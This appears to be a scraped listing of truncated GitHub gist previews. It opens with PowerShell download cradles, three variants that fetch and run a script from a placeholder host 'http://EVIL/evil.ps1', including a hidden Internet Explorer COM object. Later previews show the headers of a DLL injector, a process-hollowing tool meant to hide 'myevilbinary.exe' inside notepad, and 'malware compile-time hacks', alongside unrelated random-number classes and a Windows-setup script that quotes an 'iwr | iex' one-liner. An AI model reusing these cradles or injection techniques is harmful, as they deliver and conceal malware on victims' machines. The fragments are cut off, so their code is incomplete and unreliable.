This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.ComponentModel; | |
using System.Diagnostics; | |
using System.Diagnostics.Contracts; | |
using System.IO; | |
using System.Runtime.InteropServices; | |
/// <summary> | |
/// Dll Injector | |
/// Made by BahNahNah |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
public class Memory | |
{ | |
#region WinAPI | |
[DllImport("kernel32.dll")] | |
private static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Reflection; | |
using System.Resources; | |
using System.Runtime.InteropServices; | |
public static class Resource | |
{ | |
#region WinAPI | |
[DllImport("kernel32.dll", SetLastError = true)] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.ComponentModel; | |
using System.Data; | |
using System.Drawing; | |
using System.Linq; | |
using System.Text; | |
using System.Windows.Forms; | |
using System.Runtime.InteropServices; | |
using System.IO; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class SecureRandom : RandomNumberGenerator | |
{ | |
private readonly RandomNumberGenerator rng; | |
public SecureRandom() | |
{ | |
this.rng = new RNGCryptoServiceProvider(); | |
} | |
public int Next() | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Public Class SecureRandom : Inherits Security.Cryptography.RandomNumberGenerator | |
Private ReadOnly rng As New Security.Cryptography.RNGCryptoServiceProvider() | |
Private Function GetRandomBytes() As Byte() | |
Dim data As Byte() = New Byte(4 - 1) {} | |
rng.GetBytes(data) | |
Return data | |
End Function | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### | |
### | |
### UPDATE: For Win 11, I recommend using this tool in place of this script: | |
### https://christitus.com/windows-tool/ | |
### https://github.com/ChrisTitusTech/winutil | |
### https://www.youtube.com/watch?v=6UQZ5oQg8XA | |
### iwr -useb https://christitus.com/win | iex | |
### | |
### OR take a look at | |
### https://github.com/HotCakeX/Harden-Windows-Security |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* | |
* ProcessHollower: Hide a executable inside the runtime of another one | |
* | |
* Compile with | |
* C:> cl.exe ProcessHollower.c | |
* | |
* Execute with: | |
* C:> ProcessHollower.exe notepad.exe myevilbinary.exe | |
* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// http://www.rohitab.com/discuss/topic/39611-malware-related-compile-time-hacks-with-c11/ | |
#include <stdio.h> | |
#include <stdint.h> | |
//-------------------------------------------------------------// | |
// "Malware related compile-time hacks with C++11" by LeFF // | |
// You can use this code however you like, I just don't really // | |
// give a shit, but if you feel some respect for me, please // | |
// don't cut off this comment when copy-pasting... ;-) // |